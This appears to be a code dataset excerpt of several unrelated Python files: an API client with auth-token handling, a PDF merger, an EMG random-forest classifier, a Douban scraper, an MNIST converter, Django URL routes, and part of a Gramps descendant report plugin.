exc:\n Exception instance\n \"\"\"\n log.debug('Processing error: %r' % (exc,))\n # If it's a HTTP response, format the JSON\n try:\n try:\n err = exc.response.json()['error']\n except ValueError:\n # This is probably a JSON decoding error\n msg = exc.message\n else:\n msg = '%s %s' % (err['code'], err['message'])\n except AttributeError:\n msg = str(exc)\n raise ClientError(msg)\n\n def get_resource(self, resource_name):\n \"\"\"\n Return a single resource object.\n\n :param resource_name:\n Name of resource\n \"\"\"\n return getattr(self, resource_name)\n\n def __repr__(self):\n cls_name = self.__class__.__name__\n return '<%s(url=%s)>' % (cls_name, self._store['base_url'])\n\n\nclass EmailHeaderAuthentication(AuthBase):\n \"\"\"Special authentication that sets the email auth header.\"\"\"\n def __init__(self, email=None, auth_header=AUTH_HEADER):\n if email is None:\n raise LoginFailed('You must provide an email!')\n self.email = email\n self.auth_header = auth_header\n\n def __call__(self, r):\n \"\"\"Set the auth header.\"\"\"\n r.headers[self.auth_header] = self.email\n return r\n\n\nclass EmailHeaderClient(BaseClient):\n \"\"\"Default client using email auth header method.\"\"\"\n @classmethod\n def get_user(cls):\n \"\"\"Get the local username, or if root, the sudo username.\"\"\"\n user = getpass.getuser()\n if user == 'root':\n user = os.getenv('SUDO_USER')\n return user\n\n def get_auth(self, base_url):\n kwargs = self._kwargs\n email = kwargs.pop('email', None)\n default_domain = kwargs.pop('default_domain', 'localhost')\n\n if email is None and default_domain:\n log.debug('No email provided; Using default_domain: %r',\n default_domain)\n user = self.get_user()\n email = '%s@%s' % (user, default_domain)\n log.debug('Using email: %r', email)\n\n auth_header = kwargs.pop('auth_header', AUTH_HEADER)\n return EmailHeaderAuthentication(email, auth_header)\n\n\nclass AuthTokenAuthentication(AuthBase):\n \"\"\"\n Special authentication that utilizes auth_tokens.\n\n Adds header for \"Authorization: ApiToken {email}:{auth_token}\"\n \"\"\"\n def __init__(self, email=None, auth_token=None):\n self.email = email\n self.auth_token = auth_token\n\n def __call__(self, r):\n header = 'AuthToken %s:%s' % (self.email, self.auth_token)\n r.headers['Authorization'] = header\n return r\n\n\nclass AuthTokenClient(BaseClient):\n \"\"\"Client that uses auth_token method.\"\"\"\n def get_token(self, base_url, email, secret_key):\n \"\"\"\n Currently ghetto: Hit the API to get an auth_token.\n\n :param base_url:\n API URL\n\n :param email:\n User's email\n\n :param secret_key:\n User's secret_key\n \"\"\"\n data = {'email': email, 'secret_key': secret_key}\n debug_data = data.copy() # For debug display\n debug_data['secret_key'] = 'X' * 8\n\n log.debug('Getting token for user data: %r' % (debug_data,))\n try:\n url = base_url + '/authenticate/'\n headers = {'content-type': 'application/json'}\n r = slumber.requests.post(url, data=json.dumps(data),\n headers=headers)\n except Exception as err:\n log.debug('Got error: %s' % (err,))\n self.error(err)\n\n if r.ok:\n log.debug('Got response: %r' % (r,))\n return r.json()['data']['auth_token']\n else:\n msg = 'Failed to fetch auth_token from %s' % base_url\n err = HttpClientError(msg, response=r, content=r.content)\n self.error(err)\n\n def get_auth(self, base_url):\n kwargs = self._kwargs\n email = kwargs.pop('email', None)\n secret_key = kwargs.pop('secret_key', None)\n auth_token = self.get_token(base_url, email, secret_key)\n auth = AuthTokenAuthentication(email, auth_token)\n return auth\nClient = AuthTokenClient # Default client is auth_token\n\n\n# Mapping to our two (2) hard-coded auth methods and their required arguments.\nAUTH_CLIENTS = {\n 'auth_header': (EmailHeaderClient, ('email', 'default_domain', 'default_site')),\n 'auth_token': (AuthTokenClient, ('email', 'secret_key', 'default_site')),\n}\n\n\ndef get_auth_client_info(auth_method):\n \"\"\"\n Return the proper Client class and required args.\n\n :param auth_method:\n Auth method used by the client\n \"\"\"\n return AUTH_CLIENTS[auth_method]\n\n\ndef get_api_client(auth_method=None, url=None, extra_args=None):\n \"\"\"\n Safely create an API client so that users don't see tracebacks.\n\n Any arguments taht aren't explicitly passed will be replaced by the\n contents of the user's dotfile.\n\n :param auth_method:\n Auth method used by the client\n\n :param url:\n API URL\n \"\"\"\n if extra_args is None:\n extra_args = {}\n\n # Read the dotfile\n try:\n log.debug('Reading dotfile.')\n client_args = dotfile.Dotfile().read()\n except dotfile.DotfileError as err:\n raise click.UsageError(err.message)\n\n # Merge the extra_args w/ the client_args from the config\n client_args.update(extra_args)\n\n # Minimum required arguments that we don't want getting passed to the client\n if auth_method is None:\n auth_method = client_args.pop('auth_method')\n if url is None:\n url = client_args.pop('url')\n\n # Validate the auth_method\n log.debug('Validating auth_method: %s', auth_method)\n try:\n client_class, arg_names = get_auth_client_info(auth_method)\n except KeyError:\n raise click.UsageError('Invalid auth_method: %s' % (auth_method,))\n\n try:\n api_client = client_class(url, **client_args)\n except ClientError as err:\n msg = str(err)\n if 'Connection refused' in msg:\n msg = 'Could not connect to server: %s' % (url,)\n raise click.UsageError(msg)\n return api_client\n", "sub_path": "pynsot/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 8566, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 36, "usage_type": "call"}, {"api_name": "vendor.slumber.exceptions.HttpClientError", "line_number": 49, "usage_type": "name"}, {"api_name": "vendor.slumber.API", "line_number": 57, "usage_type": "attribute"}, {"api_name": "vendor.slumber", "line_number": 57, "usage_type": "name"}, {"api_name": "vendor.requests.auth.AuthBase", "line_number": 120, "usage_type": "name"}, {"api_name": "getpass.getuser", "line_number": 139, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 141, "usage_type": "call"}, {"api_name": "vendor.requests.auth.AuthBase", "line_number": 160, "usage_type": "name"}, {"api_name": "vendor.slumber.requests.post", "line_number": 199, "usage_type": "call"}, {"api_name": "vendor.slumber.requests", "line_number": 199, "usage_type": "attribute"}, {"api_name": "vendor.slumber", "line_number": 199, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 199, "usage_type": "call"}, {"api_name": "vendor.slumber.exceptions.HttpClientError", "line_number": 210, "usage_type": "call"}, {"api_name": "vendor.click.UsageError", "line_number": 261, "usage_type": "call"}, {"api_name": "vendor.click", "line_number": 261, "usage_type": "name"}, {"api_name": "vendor.click.UsageError", "line_number": 277, "usage_type": "call"}, {"api_name": "vendor.click", "line_number": 277, "usage_type": "name"}, {"api_name": "vendor.click.UsageError", "line_number": 285, "usage_type": "call"}, {"api_name": "vendor.click", "line_number": 285, "usage_type": "name"}]} {"seq_id": "587291539", "text": "import glob, io, os, sys\n\nfrom PyPDF2 import PdfFileReader, PdfFileMerger\n\ndef merge_pdfs(links, output):\n print(f'Merging to {output}')\n merger = PdfFileMerger()\n for link in links:\n with open(link, 'rb') as file:\n merger.append(\n PdfFileReader(\n file\n )\n )\n \n merger.write(output)\n\nlinks = list()\n\ndef add_files(uri):\n if os.path.isdir(uri):\n for base, dirs, files in os.walk(uri):\n \n for file in files:\n add_files(os.path.join(base, file))\n\n for dir in dirs:\n add_files(os.path.join(base, dir))\n elif os.path.splitext(uri)[1].lower() == '.pdf':\n links.append(uri)\n\ndef merge_from_file(uri):\n print(f'Merging from file {uri}')\n with open(uri) as file:\n for line in file:\n for g in glob.iglob(os.path.join(os.path.dirname(uri), line)):\n # print(os.path.join('.', os.path.relpath(os.path.join(os.path.dirname(uri), g))))\n add_files(os.path.join('.', os.path.relpath(g)))\n\n merge_pdfs(links, uri + '.pdf')\n\nfor arg in sys.argv:\n merge_from_file(arg)\n", "sub_path": "db/python/history_bowl/pdf_file_merger.py", "file_name": "pdf_file_merger.py", "file_ext": "py", "file_size_in_byte": 1209, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "PyPDF2.PdfFileMerger", "line_number": 7, "usage_type": "call"}, {"api_name": "PyPDF2.PdfFileReader", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "glob.iglob", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.path.relpath", "line_number": 38, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 42, "usage_type": "attribute"}]} {"seq_id": "54131009", "text": "import numpy as np\nfrom os import listdir\nfrom Example_RF_classifier import load_data\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import accuracy_score, confusion_matrix\n__author__ = \"Ulysse Cote-Allard<ulysse.cote-allard.1@ulaval.ca> and David St-Onge<david.st-onge@polymtl.ca>\"\n__copyright__ = \"Copyright 2007, MIST Lab\"\n__credits__ = [\"David St-Onge\", \"Ulysse Cote-Allard\", \"Kyrre Glette\", \"Benoit Gosselin\", \"Giovanni Beltrame\"]\n__license__ = \"MIT\"\n__version__ = \"1.0\"\n__maintainer__ = \"David St-Onge\"\n__email__ = \"david.st-onge@polymtl.ca\"\n__status__ = \"Production\"\n\nif __name__ == '__main__':\n \"\"\"\n Main function utilized to build the training dataset and the performance of each participant and then training and using the classifier\n \"\"\"\n dataLoader = load_data.DataLoader()\n # Get the list of participants from the true labels folder\n list_participants = listdir(\"../true_labels_informations/\")\n\n accuracy_RF_array = []\n accuracy_CNN_array = []\n number_gestures_array = []\n\n accuracy_calculated_RF = []\n\n array_participants_id = []\n\n examples_imu_training_datasets = []\n examples_emg_training_datasets = []\n labels_training_datasets = []\n examples_imu_test_datasets = []\n examples_emg_test_datasets = []\n labels_test_datasets = []\n for participant in list_participants:\n identification_participant = participant.split(\".\")[0]\n information_labels = np.load(\"../true_labels_informations/\" + participant, encoding=\"bytes\")\n dataset_delay, labels_intervals, number_gestures, true_labels = information_labels\n number_gestures_array.append(number_gestures[0])\n print(identification_participant)\n array_participants_id.append(identification_participant)\n\n # Comment between here\n\n test_data_emg, test_data_imu_1, test_data_imu_2, labels_test, accuracy_RF = dataLoader.read_performance_data(\"../\" +\n identification_participant,\n path_labels=labels_intervals,\n dataset_delay=dataset_delay[0])\n\n np.savez(\"../formated_datasets/\" + identification_participant + \"_accuracy_RF.npz\", accuracy_RF=[accuracy_RF])\n examples_emg, examples_imu_1, examples_imu_2, labels = dataLoader.read_training(\n \"../\" + identification_participant,\n number_of_classes=number_gestures[0])\n\n np.savez(\"../formated_datasets/\" + identification_participant + \"_train_rf_features.npz\", examples_emg=examples_emg,\n examples_imu_1=examples_imu_1, examples_imu_2=examples_imu_2, labels=labels)\n\n np.savez(\"../formated_datasets/\" + identification_participant + \"_test_rf_features.npz\", test_data_emg=test_data_emg,\n test_data_imu_1=test_data_imu_1, test_data_imu_2=test_data_imu_2, labels_test=labels_test)\n\n # And here to stop building the datasets from scratch\n\n npzfile = np.load(\"../formated_datasets/\" + identification_participant + \"_accuracy_RF.npz\", encoding=\"bytes\")\n accuracy_RF_live_performance = npzfile['accuracy_RF'][0]\n\n npzfile = np.load(\"../formated_datasets/\" + identification_participant + \"_train_rf_features.npz\", encoding=\"bytes\")\n emg_train, examples_imu_1_pre_training, examples_imu_2_pre_training, labels_pre_training = npzfile['examples_emg'],\\\n npzfile['examples_imu_1'],\\\n npzfile['examples_imu_2'], npzfile['labels']\n\n npzfile = np.load(\"../formated_datasets/\" + identification_participant + \"_test_rf_features.npz\", encoding=\"bytes\")\n emg_test, test_data_imu_1, test_data_imu_2, labels_test = npzfile['test_data_emg'], npzfile['test_data_imu_1'], npzfile['test_data_imu_2'],\\\n npzfile['labels_test']\n\n rf = RandomForestClassifier(n_estimators=500, max_features='log2', random_state=np.random.RandomState(42))\n rf.fit(np.concatenate((emg_train, examples_imu_1_pre_training, examples_imu_2_pre_training), axis=1), labels_pre_training)\n predictions = rf.predict(np.concatenate((emg_test, test_data_imu_1, test_data_imu_2), axis=1))\n\n accuracy_RF = accuracy_score(labels_test, predictions)\n\n print(\"ACCURACY RF LIVE PERFORMANCE: \", accuracy_RF_live_performance)\n print(\"ACCURACY RF CALCULATED: \", accuracy_RF)\n print(\"CONFUSION MATRIX: \\n\", confusion_matrix(labels_test, predictions))\n print(\" \")\n print(npzfile.files)\n accuracy_calculated_RF.append(accuracy_RF)\n\n print(\"ACCURACY RF FROM ALL DATASETS:\", accuracy_calculated_RF)\n print(\"participant ID: \", array_participants_id)\n", "sub_path": "classifyRF.py", "file_name": "classifyRF.py", "file_ext": "py", "file_size_in_byte": 5127, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "Example_RF_classifier.load_data.DataLoader", "line_number": 19, "usage_type": "call"}, {"api_name": "Example_RF_classifier.load_data", "line_number": 19, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 73, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.random.RandomState", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 79, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 81, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 85, "usage_type": "call"}]} {"seq_id": "277293484", "text": "import requests\nimport json\n\nclass Douban():\n def __init__(self):\n self.headers = {\n \"User-Agent\": \"Mozilla/5.0 (Linux; Android 5.1.1; Nexus 6 Build/LYZ28E) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Mobile Safari/537.36\",\n \"Referer\": \"https://m.douban.com/tv/american\"}\n\n self.url = \"https://m.douban.com/rexxar/api/v2/subject_collection/filter_tv_american_hot/items?os=android&for_mobile=1&start=0&count=18&loc_id=108288&_=1529481198406\"\n\n def send_url(self):#发送请求,获取相应\n response = requests.post(url=self.url,headers=self.headers)\n return response.content.decode()\n def get_content(self,send_dict):#接受数据,处理数据\n dict_ret=json.loads(send_dict)\n json_ret =dict_ret[\"subject_collection_items\"]\n return json_ret\n def save_content(self,content):#保存数据\n with open('douban.txt', 'w', encoding='utf-8') as f:\n json.dump(content, f, ensure_ascii=False, indent=1)\n def run(self):#运行\n send_dict=self.send_url()\n html=self.get_content(send_dict)\n content=self.save_content(html)\n\nif __name__ == '__main__':\n douban = Douban()\n douban.run()", "sub_path": "spider/day01/douban1.py", "file_name": "douban1.py", "file_ext": "py", "file_size_in_byte": 1217, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.post", "line_number": 13, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 16, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 21, "usage_type": "call"}]} {"seq_id": "268229578", "text": "from scipy import io\nimport numpy as np\nimport os\n\n\nmatFile_path = 'data' + os.path.sep + 'mnist-original.mat'\ninitialData = io.loadmat(matFile_path)\n\ndata = initialData['data'].transpose([1,0])\ndata = data.reshape([-1,1,28,28])\nlabel = initialData['label'].transpose([1,0])\n\ndata_save_path = 'data'\n\nif not(os.path.exists(data_save_path)):\n\tos.makedirs(data_save_path)\n\n\nnp.save(data_save_path + os.path.sep + 'mnist',data)\nnp.save(data_save_path + os.path.sep + 'mnist_label',label)\n\n", "sub_path": "cnn/generate_mnist.py", "file_name": "generate_mnist.py", "file_ext": "py", "file_size_in_byte": 486, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "scipy.io.loadmat", "line_number": 7, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 7, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}]} {"seq_id": "265819350", "text": "from django.urls import path\r\n\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n path('', views.LandingPage, name='LandingPage'),\r\n path('prestations', views.Prestations, name='Prestations'),\r\n path('portfolio', views.Portfolio, name='Portfolio'),\r\n path('contact', views.Contact, name='Contact'),\r\n path('license', views.License, name='License'),\r\n path('home', views.Home, name='Home'),\r\n]", "sub_path": "main/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 401, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}]} {"seq_id": "382546912", "text": "#\n# Gramps - a GTK+/GNOME based genealogy program\n#\n# Copyright (C) 2000-2002 Bruce J. DeGrasse\n# Copyright (C) 2000-2007 Donald N. Allingham\n# Copyright (C) 2007-2009 Brian G. Matherly\n# Copyright (C) 2007 Robert Cawley <rjc@cawley.id.au>\n# Copyright (C) 2008-2009 James Friedmann <jfriedmannj@gmail.com>\n# Copyright (C) 2009 Benny Malengier <benny.malengier@gramps-project.org>\n# Copyright (C) 2010 Jakim Friant\n# Copyright (C) 2010 Vlada Peri\\u0107\n# Copyright (C) 2011 Matt Keenan <matt.keenan@gmail.com>\n# Copyright (C) 2011 Tim G L Lyons\n# Copyright (C) 2013 Paul Franklin\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\n\"\"\"Reports/Text Reports/Detailed Descendant Report\"\"\"\n\n#------------------------------------------------------------------------\n#\n# standard python modules\n#\n#------------------------------------------------------------------------\nfrom functools import partial\n\n#------------------------------------------------------------------------\n#\n# GRAMPS modules\n#\n#------------------------------------------------------------------------\nfrom gramps.gen.const import GRAMPS_LOCALE as glocale\n_ = glocale.translation.gettext\nfrom gramps.gen.errors import ReportError\nfrom gramps.gen.lib import FamilyRelType, Person, NoteType\nfrom gramps.gen.plug.menu import (BooleanOption, NumberOption, PersonOption, \n EnumeratedListOption)\nfrom gramps.gen.plug.docgen import (IndexMark, FontStyle, ParagraphStyle, \n FONT_SANS_SERIF, FONT_SERIF, \n INDEX_TYPE_TOC, PARA_ALIGN_CENTER)\nfrom gramps.gen.plug.report import (Report, Bibliography)\nfrom gramps.gen.plug.report import endnotes\nfrom gramps.gen.plug.report import utils as ReportUtils\nfrom gramps.gen.plug.report import MenuReportOptions\nfrom gramps.gen.plug.report import stdoptions\nfrom gramps.plugins.lib.libnarrate import Narrator\n\n#------------------------------------------------------------------------\n#\n# Constants\n#\n#------------------------------------------------------------------------\nEMPTY_ENTRY = \"_____________\"\nHENRY = \"123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\n#------------------------------------------------------------------------\n#\n#\n#\n#------------------------------------------------------------------------\nclass DetDescendantReport(Report):\n\n def __init__(self, database, options, user):\n \"\"\"\n Create the DetDescendantReport object that produces the report.\n \n The arguments are:\n\n database - the GRAMPS database instance\n options - instance of the Options class for this report\n user - a gen.user.User() instance\n\n This report needs the following parameters (class variables)\n that come in the options class.\n \n gen - Maximum number of generations to include.\n pagebgg - Whether to include page breaks between generations.\n pageben - Whether to include page break before End Notes.\n fulldates - Whether to use full dates instead of just year.\n listc - Whether to list children.\n incnotes - Whether to include notes.\n usecall - Whether to use the call name as the first name.\n repplace - Whether to replace missing Places with ___________.\n repdate - Whether to replace missing Dates with ___________.\n computeage - Whether to compute age.\n omitda - Whether to omit duplicate ancestors (e.g. when distant cousins marry).\n verbose - Whether to use complete sentences.\n numbering - The descendancy numbering system to be utilized.\n desref - Whether to add descendant references in child list.\n incphotos - Whether to include images.\n incnames - Whether to include other names.\n incevents - Whether to include events.\n incaddresses - Whether to include addresses.\n incsrcnotes - Whether to include source notes in the Endnotes section. Only works if Include sources is selected.\n incmates - Whether to include information about spouses\n incattrs - Whether to include attributes\n incpaths - Whether to include the path of descendancy from the start-person to each descendant.\n incssign - Whether to include a sign ('+') before the descendant number in the child-list to indicate a child has succession.\n pid - The Gramps ID of the center person for the report.\n name_format - Preferred format to display names\n incmateref - Whether to print mate information or reference\n \"\"\"\n Report.__init__(self, database, options, user)\n\n self.map = {}\n self._user = user\n\n menu = options.menu\n get_option_by_name = menu.get_option_by_name\n get_value = lambda name: get_option_by_name(name).get_value()\n self.max_generations = get_value('gen')\n self.pgbrk = get_value('pagebbg')\n self.pgbrkenotes = get_value('pageben')\n self.fulldate = get_value('fulldates')\n use_fulldate = self.fulldate\n self.listchildren = get_value('listc')\n self.inc_notes = get_value('incnotes')\n use_call = get_value('usecall')\n blankplace = get_value('repplace')\n blankdate = get_value('repdate')\n self.calcageflag = get_value('computeage')\n self.dubperson = get_value('omitda')\n self.verbose = get_value('verbose')\n self.numbering = get_value('numbering')\n self.childref = get_value('desref')\n self.addimages = get_value('incphotos')\n self.inc_names = get_value('incnames')\n self.inc_events = get_value('incevents')\n self.inc_addr = get_value('incaddresses')\n self.inc_sources = get_value('incsources')\n self.inc_srcnotes = get_value('incsrcnotes')\n self.inc_mates = get_value('incmates')\n self.inc_attrs = get_value('incattrs')\n self.inc_paths = get_value('incpaths')\n self.inc_ssign = get_value('incssign')\n self.inc_materef = get_value('incmateref')\n pid = get_value('pid')\n self.center_person = database.get_person_from_gramps_id(pid)\n if (self.center_person == None) :\n raise ReportError(_(\"Person %s is not in the Database\") % pid )\n\n self.gen_handles = {}\n self.prev_gen_handles = {}\n self.gen_keys = []\n self.dnumber = {}\n self.dmates = {}\n\n if blankdate:\n empty_date = EMPTY_ENTRY\n else:\n empty_date = \"\"\n\n if blankplace:\n empty_place = EMPTY_ENTRY\n else:\n empty_place = \"\"\n\n self._locale = self.set_locale(get_value('trans'))\n\n name_format = menu.get_option_by_name(\"name_format\").get_value()\n if name_format != 0:\n self._name_display.set_default_format(name_format)\n\n self.__narrator = Narrator(self.database, self.verbose,\n use_call, use_fulldate, \n empty_date, empty_place,\n nlocale=self._locale,\n get_endnote_numbers=self.endnotes)\n\n self.bibli = Bibliography(Bibliography.MODE_DATE|Bibliography.MODE_PAGE)\n\n def apply_henry_filter(self,person_handle, index, pid, cur_gen=1):\n if (not person_handle) or (cur_gen > self.max_generations):\n return\n self.dnumber[person_handle] = pid\n self.map[index] = person_handle\n\n if len(self.gen_keys) < cur_gen:\n self.gen_keys.append([index])\n else: \n self.gen_keys[cur_gen-1].append(index)\n\n person = self.database.get_person_from_handle(person_handle)\n index = 0\n for family_handle in person.get_family_handle_list():\n family = self.database.get_family_from_handle(family_handle)\n for child_ref in family.get_child_ref_list():\n ix = max(self.map)\n self.apply_henry_filter(child_ref.ref, ix+1,\n pid+HENRY[index], cur_gen+1)\n index += 1\n\n # Filter for d'Aboville numbering\n def apply_daboville_filter(self,person_handle, index, pid, cur_gen=1):\n if (not person_handle) or (cur_gen > self.max_generations):\n return\n self.dnumber[person_handle] = pid\n self.map[index] = person_handle\n\n if len(self.gen_keys) < cur_gen:\n self.gen_keys.append([index])\n else: \n self.gen_keys[cur_gen-1].append(index)\n\n person = self.database.get_person_from_handle(person_handle)\n index = 1\n for family_handle in person.get_family_handle_list():\n family = self.database.get_family_from_handle(family_handle)\n for child_ref in family.get_child_ref_list():\n ix = max(self.map)\n self.apply_daboville_filter(child_ref.ref, ix+1,\n pid+\".\"+str(index), cur_gen+1)\n index += 1\n\n # Filter for Record-style (Modified Register) numbering\n def apply_mod_reg_filter_aux(self, person_handle, index, cur_gen=1):\n if (not person_handle) or (cur_gen > self.max_generations):\n return\n self.map[index] = person_handle\n \n if len(self.gen_keys) < cur_gen:\n self.gen_keys.append([index])\n else: \n self.gen_keys[cur_gen-1].append(index)\n\n person = self.database.get_person_from_handle(person_handle)\n\n for family_handle in person.get_family_handle_list():\n family = self.database.get_family_from_handle(family_handle)\n for child_ref in family.get_child_ref_list():\n ix = max(self.map)\n self.apply_mod_reg_filter_aux(child_ref.ref, ix+1, cur_gen+1)\n\n def apply_mod_reg_filter(self, person_handle):\n self.apply_mod_reg_filter_aux(person_handle, 1, 1)\n mod_reg_number = 1\n for generation in range(len(self.gen_keys)):\n for key in self.gen_keys[generation]:\n person_handle = self.map[key]\n if person_handle not in self.dnumber:\n self.dnumber[person_handle] = mod_reg_number\n mod_reg_number += 1\n\n def write_report(self):\n \"\"\"\n This function is called by the report system and writes the report.\n \"\"\"\n if self.numbering == \"Henry\":\n self.apply_henry_filter(self.center_person.get_handle(), 1, \"1\")\n elif self.numbering == \"d'Aboville\":\n self.apply_daboville_filter(self.center_person.get_handle(), 1, \"1\")\n elif self.numbering == \"Record (Modified Register)\":\n self.apply_mod_reg_filter(self.center_person.get_handle())\n else:\n raise AttributeError(\"no such numbering: '%s'\" % self.numbering)\n\n name = self._name_display.display_name(self.center_person.get_primary_name())\n\n self.doc.start_paragraph(\"DDR-Title\")\n\n # feature request 2356: avoid genitive form\n title = self._(\"Descendant Report for %(person_name)s\") % {\n 'person_name' : name }\n mark = IndexMark(title, INDEX_TYPE_TOC, 1)\n self.doc.write_text(title, mark)\n self.doc.end_paragraph()\n\n generation = 0\n\n self.numbers_printed = list()\n for generation in range(len(self.gen_keys)):\n if self.pgbrk and generation > 0:\n self.doc.page_break()\n self.doc.start_paragraph(\"DDR-Generation\")\n text = self._(\"Generation %d\") % (generation+1)\n mark = IndexMark(text, INDEX_TYPE_TOC, 2)\n self.doc.write_text(text, mark)\n self.doc.end_paragraph()\n if self.childref:\n self.prev_gen_handles = self.gen_handles.copy()\n self.gen_handles.clear()\n\n for key in self.gen_keys[generation]:\n person_handle = self.map[key]\n self.gen_handles[person_handle] = key\n self.write_person(key)\n\n if self.inc_sources:\n if self.pgbrkenotes:\n self.doc.page_break()\n # it ignores language set for Note type (use locale)\n endnotes.write_endnotes(self.bibli, self.database, self.doc,\n printnotes=self.inc_srcnotes,\n elocale=self._locale)\n\n def write_path(self, person):\n path = []\n while True:\n #person changes in the loop\n family_handle = person.get_main_parents_family_handle()\n if family_handle:\n family = self.database.get_family_from_handle(family_handle)\n mother_handle = family.get_mother_handle()\n father_handle = family.get_father_handle()\n if mother_handle and mother_handle in self.dnumber:\n person = self.database.get_person_from_handle(mother_handle)\n person_name = \\\n self._name_display.display_name(person.get_primary_name())\n path.append(person_name)\n elif father_handle and father_handle in self.dnumber:\n person = self.database.get_person_from_handle(father_handle)\n person_name = \\\n self._name_display.display_name(person.get_primary_name())\n path.append(person_name)\n else:\n break\n else:\n break\n\n index = len(path)\n\n if index:\n self.doc.write_text(\"(\")\n\n for name in path:\n if index == 1:\n self.doc.write_text(name + \"-\" + str(index) + \") \")\n else:\n # translators: needed for Arabic, ignore otherwise\n self.doc.write_text(name + \"-\" + str(index) + self._(\"; \"))\n index -= 1\n\n def write_person(self, key):\n \"\"\"Output birth, death, parentage, marriage and notes information \"\"\"\n\n person_handle = self.map[key]\n person = self.database.get_person_from_handle(person_handle)\n\n val = self.dnumber[person_handle]\n\n if val in self.numbers_printed:\n return\n else:\n self.numbers_printed.append(val)\n\n self.doc.start_paragraph(\"DDR-First-Entry\",\"%s.\" % val)\n\n name = self._name_display.display_formal(person)\n mark = ReportUtils.get_person_mark(self.database, person)\n\n self.doc.start_bold()\n self.doc.write_text(name, mark)\n if name[-1:] == '.':\n self.doc.write_text_citation(\"%s \" % self.endnotes(person))\n else:\n self.doc.write_text_citation(\"%s. \" % self.endnotes(person))\n self.doc.end_bold()\n\n if self.inc_paths:\n self.write_path(person)\n \n if self.dubperson:\n # Check for duplicate record (result of distant cousins marrying)\n for dkey in sorted(self.map):\n if dkey >= key: \n break\n if self.map[key] == self.map[dkey]:\n self.doc.write_text(self._(\n \"%(name)s is the same person as [%(id_str)s].\") % {\n 'name' :'',\n 'id_str': self.dnumber[self.map[dkey]],\n 